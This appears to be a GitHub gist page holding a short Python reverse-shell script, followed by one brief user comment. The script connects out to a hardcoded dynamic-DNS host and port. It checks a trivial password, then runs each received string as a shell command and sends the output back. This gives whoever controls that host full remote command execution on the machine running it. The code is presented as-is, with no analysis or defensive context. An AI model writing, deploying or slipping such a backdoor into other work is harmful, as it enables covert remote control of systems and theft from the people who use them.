Skip to content

Instantly share code, notes, and snippets.

@badgateway666
Created March 15, 2017 15:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save badgateway666/1166fbb7ef695ad03579147daca5d89e to your computer and use it in GitHub Desktop.
Save badgateway666/1166fbb7ef695ad03579147daca5d89e to your computer and use it in GitHub Desktop.
asdf
#!/usr/bin/python
import subprocess
import socket
import time as t
service = "cronixx.ddns.net"
port = 30841
token = "123"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def start():
sock.connect((service, port))
login()
def recv_stripped(bufsiz):
return str(sock.recv(bufsiz), encoding='UTF-8')
def send_unstripped(msg):
sock.send(bytes(str(msg), encoding='UTF-8'))
def login():
""" Checks for login """
send_unstripped('Login: ')
key = recv_stripped(1024)
if key != token:
login()
else:
send_unstripped('Connected #> ')
shell()
def shell():
""" Executes Shell commands """
while True:
data = recv_stripped(1024)
if data == ":kill":
sock.close()
quit()
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
send_unstripped(output)
start()
@R3dByt3
Copy link

R3dByt3 commented Apr 15, 2017

"send_unstripped" perversling..

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment